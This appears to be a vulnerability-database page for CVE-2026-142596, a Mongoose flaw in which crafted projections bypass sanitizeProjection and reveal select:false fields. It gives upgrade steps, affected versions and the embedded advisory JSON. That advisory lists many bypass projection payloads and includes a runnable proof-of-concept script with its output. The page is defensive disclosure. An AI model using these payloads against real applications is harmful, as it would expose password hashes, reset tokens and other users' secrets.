CVE-2026-142596: Mongoose SanitizeProjection Can Be Bypassed To Vulnerability
HIGHCVE-2026-142596 is a HIGH (CVSS 7.5) sanitizeprojection can be bypassed to vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Mongoose libraries in the npm ecosystem. The issue involves sanitizeprojection can be bypassed to include fields deselected with `select: false`. Remediation is available by upgrading affected packages to version 8.24.10, 9.12.2.
CVE-2026-142596 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-142596
To remediate this vulnerability, upgrade all affected Mongoose dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install mongoose@8.24.10
npm install mongoose@9.12.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls mongoose
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-142596, inspect your project dependencies using npm:
npm ls mongoose
Analyze the terminal output to locate any version of Mongoose in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.24.10), your application is affected.
Note: The npm ls mongoose command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Mongoose, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-142596 Affected Mongoose Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mongoose
|
npm |
≥ 8.5.0
< 8.24.10
|
8.24.10
|
|
mongoose
|
npm |
≥ 9.0.0
< 9.12.2
|
9.12.2
|
References
Frequently Asked Questions
What is CVE-2026-142596?
Which Mongoose versions are affected?
What version fixes CVE-2026-142596?
Is mongoose affected?
What is the CVSS score of CVE-2026-142596?
What CWE is associated with CVE-2026-142596?
How can I check npm dependencies for CVE-2026-142596?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xfcm-rmv3-crmq",
"modified" : "2026-12-04T00:02:36Z",
"published" : "2026-12-04T00:02:36Z",
"aliases" : [ "CVE-2026-142596" ],
"summary" : "Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`",
"details" : "### Summary\n\nSince Mongoose 8.5.0, the `sanitizeProjection` option prevents untrusted projections from including fields that the schema deselects with `select: false`, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return `select: false` fields even with `sanitizeProjection` enabled.\n\nMongoose versions before 8.5.0 do **not** make `sanitizeProjection` block including `select: false` keys - hiding `select: false` keys was a new feature introduced in Mongoose 8.5.0.\n\n### Details\n\nGiven:\n\n```javascript\nconst User = mongoose.model('User', new Schema({\n name: String,\n password: { type: String, select: false },\n profile: { bio: String, ssn: { type: String, select: false } },\n secrets: { type: Map, of: String, select: false },\n recoveryCodes: { type: [String], select: false },\n tags: [String],\n comments: [{ text: String, secret: { type: String, select: false } }]\n}));\n```\n\neach of the following returned `select: false` data with `sanitizeProjection` enabled:\n\n| Projection | Why it got through |\n| --- | --- |\n| `select('-name +password')` | `+path` was only blocked in inclusive projections |\n| `select('-+password')` | Collapsing `-` paths turned it into `+password` |\n| `select('+secrets')` | `+path` was not blocked for map paths |\n| `select({ name: { $concat: ['$password'] } })`, `select({ name: ['$password'] })` | Object and array values are aggregation expressions; only string values were sanitized |\n| `select({ tags: { $slice: ['$recoveryCodes', 1] } })` | A two-element `$slice` with an expression is an aggregation expression |\n| `select({ name: { $meta: 'sortKey' } }).sort({ password: 1 })`, `{ $meta: 'indexKey' }` | `$meta` returned sort and index key values |\n| `select({ name: '$password' })` called before `sanitizeProjection(true)` | String values were only sanitized if the option was set first |\n| `select({ profile: { ssn: 1 } })`, `select({ profile: { bio: '$password' } })` | Nested sub-projections were not checked |\n| `select('profile')` | Selecting a parent path included its `select: false` children |\n| `select({ 'comments.$': 1 })` | The positional projection returned the whole array element |\n| `select(JSON.parse('{\"__proto__\":{\"password\":0}}'))` | An own `__proto__` key re-pointed the projection object's prototype, hiding `select: false` exclusions |\n| `select({ profile: { bio: 0 } })` | Nested exclusion objects were treated as inclusive, so `select: false` exclusions were not added |\n| `select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })` | Treated as inclusive, but MongoDB treats it as exclusive |\n| `select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })` | The `$elemMatch` cast error was swallowed and the whole projection was dropped |\n| `schemaLevelProjections(false)` with any expression above | Disabling schema-level projections also disabled `sanitizeProjection` |\n| `User.findOne({ __t: 'Admin' })` | `select: false` fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |\n\nFor example:\n\n```javascript\nawait User.findOne().sanitizeProjection(true).select('-name +password');\n// { password: '<password hash>', ... }\n\nawait User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });\n// { name: '<password hash>' }\n```\n\nNested exclusion objects, `$elemMatch` combined with an exclusion, `$elemMatch` cast errors, and discriminator filters also affect queries that do not use `sanitizeProjection`, because they cause Mongoose to leave out the `select: false` exclusions it normally adds.\n\n### Proof of concept\n\nRequires a MongoDB server on `localhost` and `npm install mongoose@9.12.1` (or any affected version).\n\n```javascript\nconst mongoose = require('mongoose');\nconst { Schema } = mongoose;\n\n(async () => {\n await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');\n\n const User = mongoose.model('User', new Schema({\n name: String,\n password: { type: String, select: false },\n profile: { bio: String, ssn: { type: String, select: false } },\n recoveryCodes: { type: [String], select: false }\n }));\n await User.deleteMany({});\n await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });\n\n // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled\n const attacks = [\n '-name +password',\n '-+password',\n { name: { $concat: ['$password'] } },\n { name: ['$password'] },\n { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },\n { profile: { ssn: 1 } },\n 'profile',\n JSON.parse('{\"__proto__\":{\"password\":0}}'),\n { name: { x: 1, $elemMatch: { $eq: 'alice' } } }\n ];\n for (const projection of attacks) {\n const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);\n console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));\n }\n\n await mongoose.disconnect();\n})();\n```\n\nOutput on an affected version, with `_id` and `__v` removed. Every line includes a `select: false` value:\n\n```\n\"-name +password\" => {\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} => {\"name\":\"HASH\"}\n{\"name\":[\"$password\"]} => {\"name\":[\"HASH\"]}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} => {\"name\":\"alice\",\"profile\":[\"CODE1\"]}\n{\"profile\":{\"ssn\":1}} => {\"profile\":{\"ssn\":\"123-45-6789\"}}\n\"profile\" => {\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"}}\n{\"__proto__\":{\"password\":0}} => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"},\"recoveryCodes\":[\"CODE1\"]}\n```\n\nOutput on a patched version. No `select: false` values are returned, and the last projection rejects:\n\n```\n\"-name +password\" => {\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} => {\"name\":\"alice\"}\n{\"name\":[\"$password\"]} => {\"name\":\"alice\"}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} => {\"name\":\"alice\"}\n{\"profile\":{\"ssn\":1}} => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n\"profile\" => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"__proto__\":{\"password\":0}} => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} => \"Can't use x with String.\"\n```\n\n### Impact\n\nApplications are affected if they pass user-controlled data into `select()`, `find(filter, projection)`, or the `projection` option, and rely on `sanitizeProjection` to keep `select: false` fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "mongoose"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "8.5.0"
}, {
"fixed" : "8.24.10"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "mongoose"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.0.0"
}, {
"fixed" : "9.12.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Automattic/mongoose/security/advisories/GHSA-xfcm-rmv3-crmq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-142596"
}, {
"type" : "WEB",
"url" : "https://github.com/Automattic/mongoose/commit/c369da407ee8bea907bb5af7bb94ce5deeb3e0e4"
}, {
"type" : "WEB",
"url" : "https://github.com/Automattic/mongoose/commit/c5483b71438ececde3a272feef65e14666614093"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Automattic/mongoose"
}, {
"type" : "WEB",
"url" : "https://github.com/Automattic/mongoose/releases/tag/8.24.10"
}, {
"type" : "WEB",
"url" : "https://github.com/Automattic/mongoose/releases/tag/9.12.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-04T00:02:36Z",
"nvd_published_at" : "2026-12-02T22:18:37Z"
}
}